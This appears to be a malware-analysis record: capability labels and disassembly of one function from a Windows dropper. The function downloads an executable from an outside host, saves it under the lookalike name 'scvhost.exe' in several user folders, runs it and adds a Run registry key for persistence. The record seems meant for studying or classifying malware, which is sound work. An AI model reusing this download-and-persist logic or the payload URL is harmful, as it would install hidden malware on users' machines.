Function at 0x1400af880
Capabilities:
Check if file exists
Create directory
Create process on windows
Download url
Get common file path
Get file attributes
Persist via run registry key
Query environment variable
Receive data
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x6e8
call fcn.140001674
mov ecx, 0x208
test eax, eax
jne 0x140001858
call fcn.1400ae220
mov r12, rax
call fcn.140002580
test eax, eax
je 0x140002484
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x104
mov r8, r12
xor edx, edx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, r12
xor r8d, r8d
xor edx, edx
call fcn.14000289b
mov rcx, r12
call fcn.1400ae1f0
jmp 0x140002484
call fcn.1400ae220
mov ecx, 0x104
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rcx, r12
call fcn.14000171d
mov r8d, 0x104
mov rdx, r12
lea rcx, str._localappdata_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, str.MicrosoftWindows
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, r12
call fcn.14000171d
mov rcx, r12
call fcn.1400ae1f0
lea rax, [rsp + 0x3e0]
lea rdx, str.Executable
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.14000153c
jmp 0x1400018d7
lea rcx, [rsp + 0x400]
lea rdx, str.CurrentDirectoryscvhost.exe
call fcn.14000153c
jmp 0x1400018fa
lea rcx, [rsp + 0x420]
lea rdx, str.mJMMBp
call fcn.14000153c
lea rcx, [rsp + 0x440]
lea rdx, str.https:__www.pubgh4cks.com_downloads_servervenom1durchlauf.exe
call fcn.14000153c
jmp 0x14000192e
lea rsi, [rsp + 0x460]
lea rdx, str.Executable
mov rcx, rsi
call fcn.14000153c
jmp 0x140001954
lea rcx, [rsp + 0x480]
lea rdx, str._temp_scvhost.exe
call fcn.14000153c
jmp 0x140001977
lea rcx, [rsp + 0x4a0]
lea rdx, str.fpB1tNyj
call fcn.14000153c
lea rcx, [rsp + 0x4c0]
lea rdx, str.https:__www.pubgh4cks.com_downloads_servervenom1durchlauf.exe
call fcn.14000153c
jmp 0x1400019ab
lea rsi, [rsp + 0x4e0]
lea rdx, str.Executable
mov rcx, rsi
call fcn.14000153c
jmp 0x1400019d1
lea rcx, [rsp + 0x500]
lea rdx, str._localappdata_scvhost.exe
call fcn.14000153c
jmp 0x1400019f4
lea rcx, [rsp + 0x520]
lea rdx, str.2PJKU49x
call fcn.14000153c
lea rcx, [rsp + 0x540]
lea rdx, str.https:__www.pubgh4cks.com_downloads_servervenom1durchlauf.exe
call fcn.14000153c
jmp 0x140001a28
lea rsi, [rsp + 0x560]
lea rdx, str.Executable
mov rcx, rsi
call fcn.14000153c
jmp 0x140001a4e
lea rcx, [rsp + 0x580]
lea rdx, str._appdata_scvhost.exe
call fcn.14000153c
jmp 0x140001a71
lea rcx, [rsp + 0x5a0]
lea rdx, str.3ey20susd
call fcn.14000153c
lea rcx, [rsp + 0x5c0]
lea rdx, str.https:__www.pubgh4cks.com_downloads_servervenom1durchlauf.exe
call fcn.14000153c
jmp 0x140001aa5
lea rsi, [rsp + 0x5e0]
lea rdx, str.Executable
mov rcx, rsi
call fcn.14000153c
jmp 0x140001acb
lea rcx, [rsp + 0x600]
lea rdx, str._programfiles_x86__scvhost.exe
call fcn.14000153c
jmp 0x140001aee
lea rcx, [rsp + 0x620]
lea rdx, str.rYmfvzT34
call fcn.14000153c
lea rcx, [rsp + 0x640]
lea rdx, str.https:__www.pubgh4cks.com_downloads_servervenom1durchlauf.exe
call fcn.14000153c
jmp 0x140001b22
lea rsi, [rsp + 0x660]
lea rdx, str.Executable
mov rcx, rsi
call fcn.14000153c
jmp 0x140001b48
lea rcx, [rsp + 0x680]
lea rdx, str._homepath_scvhost.exe
call fcn.14000153c
jmp 0x140001b6b
lea rcx, [rsp + 0x6a0]
lea rdx, str.PqQV3PtM
call fcn.14000153c
lea rcx, [rsp + 0x6c0]
lea rdx, str.CurrentDirectory
call fcn.14000153c
jmp 0x140001b9f
lea rax, [rsp + 0x138]
lea rdx, str._temp_
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.14000153c
jmp 0x140001bca
lea rcx, [rsp + 0x158]
lea rdx, str._localappdata_
call fcn.14000153c
jmp 0x140001bed
lea rcx, [rsp + 0x178]
lea rdx, str._appdata_
call fcn.14000153c
jmp 0x140001c10
lea rcx, [rsp + 0x198]
lea rdx, str._programfiles_x86__
call fcn.14000153c
lea rcx, [rsp + 0x1b8]
lea rdx, str._homepath_
call fcn.14000153c
mov qword [rsp + 0x70], 0
mov rbp, qword [rsp + 0x58]
lea rbx, [rsp + 0x1d8]
lea r14, [rsp + 0xa8]
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
jmp 0x140001d49
xor r8d, r8d
lea rdx, [0x1400b33a8]
mov rcx, r13
call fcn.140027470
xor r8d, r8d
mov rdx, r13
mov rcx, r12
movsxd rdi, eax
mov rsi, rax
mov r9, rdi
call fcn.140027c70
mov rdx, r12
mov rcx, r15
call fcn.1400983a0
lea r8d, [rsi + 1]
or r9, 0xffffffffffffffff
mov rdx, r13
mov rcx, r14
movsxd r8, r8d
call fcn.140027c70
mov rdx, r14
mov rcx, r13
call fcn.1400015ca
mov rcx, r14
call fcn.14009c960
mov rcx, r12
call fcn.14009c960
inc rdi
jne 0x140001c7a
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx]
cmp word [rcx], 0x25
jne 0x140001d6e
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rdi, qword [sym.imp.KERNEL32.dll_lstrcatW]
mov esi, 1
mov rax, qword [rsp + 0x78]
sub rax, qword [rsp + 0x70]
sar rax, 5
cmp rsi, rax
jb 0x140001e04
mov rcx, rbx
call fcn.14000171d
mov rcx, r15
add rbp, 0x20
call fcn.140098360
mov rcx, r13
call fcn.14009c960
cmp rbx, rbp
je 0x140001e44
lea r13, [rsp + 0x88]
mov rdx, rbp
lea r15, [rsp + 0x70]
mov rcx, r13
call fcn.14009f270
lea r12, [rsp + 0xc8]
jmp 0x140001c7a
mov rcx, r12
call fcn.14009f270
lea rdx, str.CurrentDirectory
mov rcx, r12
call fcn.140027ce0
test eax, eax
jne 0x140001ddf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov r9d, 0x104
mov r8, rbx
xor edx, edx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cdqe
mov edx, eax
test eax, eax
jle 0x140001df7
dec rax
cmp word [rbx + rax*2 + 2], 0x5c
jne 0x140001dbf
movsxd rax, edx
mov word [rsp + rax*2 + 0x1d8], 0
jmp 0x140001df7
mov rax, qword [rsp + 0x70]
lea rdx, [0x1400b33ac]
mov rcx, rbx
mov r8, qword [rax]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r12
call fcn.14009c960
jmp 0x140001d01
lea rdx, [0x1400b33a8]
mov rcx, rbx
call rdi
mov rax, rsi
mov rcx, rbx
shl rax, 5
add rax, qword [rsp + 0x70]
mov rdx, qword [rax]
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
jne 0x140001e3c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
inc rsi
jmp 0x140001d0d
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x6e0]
lea rsi, [rsp + 0x3e0]
mov qword [rsp + 0x68], rax
lea rdx, [rsi + 0x40]
mov rcx, r13
call fcn.14009f270
xor r8d, r8d
lea rdx, [0x1400b33a8]
mov rcx, r13
call fcn.140027470
xor r8d, r8d
mov rdx, r13
mov rcx, r14
movsxd rdi, eax
mov rbp, rax
mov r9, rdi
call fcn.140027c70
mov rdx, r14
mov rcx, r15
call fcn.1400983a0
lea r8d, [rbp + 1]
or r9, 0xffffffffffffffff
mov rdx, r13
mov rcx, r12
movsxd r8, r8d
call fcn.140027c70
mov rdx, r12
mov rcx, r13
call fcn.1400015ca
mov rcx, r12
call fcn.14009c960
mov rcx, r14
call fcn.14009c960
inc rdi
jne 0x140001e70
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx]
cmp word [rcx], 0x25
jne 0x140001efc
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x140001f8d
mov rcx, r12
call fcn.14009f270
lea rdx, str.CurrentDirectory
mov rcx, r12
call fcn.140027ce0
test eax, eax
jne 0x140001f6d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov r9d, 0x104
mov r8, rbx
xor edx, edx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cdqe
mov edx, eax
test eax, eax
jle 0x140001f85
dec rax
cmp word [rbx + rax*2 + 2], 0x5c
jne 0x140001f4d
movsxd rax, edx
mov word [rsp + rax*2 + 0x1d8], 0
jmp 0x140001f85
mov rax, qword [rsp + 0x70]
lea rdx, [0x1400b33ac]
mov rcx, rbx
mov r8, qword [rax]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r12
call fcn.14009c960
mov rbp, qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, 1
mov rax, qword [rsp + 0x78]
sub rax, qword [rsp + 0x70]
sar rax, 5
cmp rax, rdi
jbe 0x140002003
lea rdx, [0x1400b33a8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, rdi
mov rcx, rbx
shl rax, 5
add rax, qword [rsp + 0x70]
mov rdx, qword [rax]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
jne 0x140001ffe
mov rax, qword [rsp + 0x78]
sub rax, qword [rsp + 0x70]
sar rax, 5
dec rax
cmp rax, rdi
jbe 0x140001ffe
xor edx, edx
mov rcx, rbx
call rbp
inc rdi
jmp 0x140001f99
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1400021c9
mov qword [rsp + 0x20], 0
mov rdx, qword [rsi]
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
lea rcx, [rsi + 0x20]
lea rdx, str.Executable
mov qword [rsp + 0x60], rcx
call fcn.140027ce0
mov rcx, qword [rsp + 0x60]
test eax, eax
jne 0x1400020b7
mov ecx, 0x68
call fcn.1400ae250
mov rbp, rax
mov ecx, 0x1a
xor eax, eax
mov rdi, rbp
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.1400ae250
mov rdx, rax
mov ecx, 6
xor eax, eax
xor r9d, r9d
mov rdi, rdx
xor r8d, r8d
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], rdx
mov rdx, rbx
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
jmp 0x14000215d
lea rdx, [0x1400b33b2]
call fcn.140027ce0
test eax, eax
jne 0x140002165
mov ecx, 0x68
call fcn.1400ae250
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x60]
mov ecx, 0x1a
xor eax, eax
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.1400ae250
mov rbp, rax
mov ecx, 6
xor eax, eax
mov rdi, rbp
rep stosd dword [rdi], eax
mov ecx, 0x208
call fcn.1400ae220
mov rdi, rax
mov r8, rbx
lea rdx, str.rundll32__s
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rbp
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x38], 0
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x1400021c9
mov qword [rsp + 0xc8], 0x70
mov rcx, r12
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov dword [rsp + 0xf8], 3
mov qword [rsp + 0x100], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
cmp qword [rsi + 0x68], 0
je 0x140002228
mov qword [rsp + 0x20], r12
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdx, qword [rsi + 0x60]
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov dword [rsp + 0x28], 0x104
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r15
sub rsi, 0xffffffffffffff80
call fcn.140098360
mov rcx, r13
call fcn.14009c960
cmp qword [rsp + 0x68], rsi
jne 0x140001e64
mov rcx, r15
lea rsi, [rsp + 0x138]
call fcn.1400983e0
sub rbx, 0x20
mov rcx, rbx
call fcn.14009c960
cmp rbx, rsi
jne 0x140002257
lea rbx, [rsp + 0x6e0]
lea rsi, [rsp + 0x3e0]
sub rbx, 0x20
mov rcx, rbx
call fcn.14009c960
cmp rbx, rsi
jne 0x140002278
jmp 0x140002484
xor eax, eax
add rsp, 0x6e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x28
call fcn.14000bfe0
mov rax, qword [0x1400b8bc0]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x1400b8bb0]
mov r8, qword [rax]
mov rax, qword [0x1400b8ba0]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x1400017df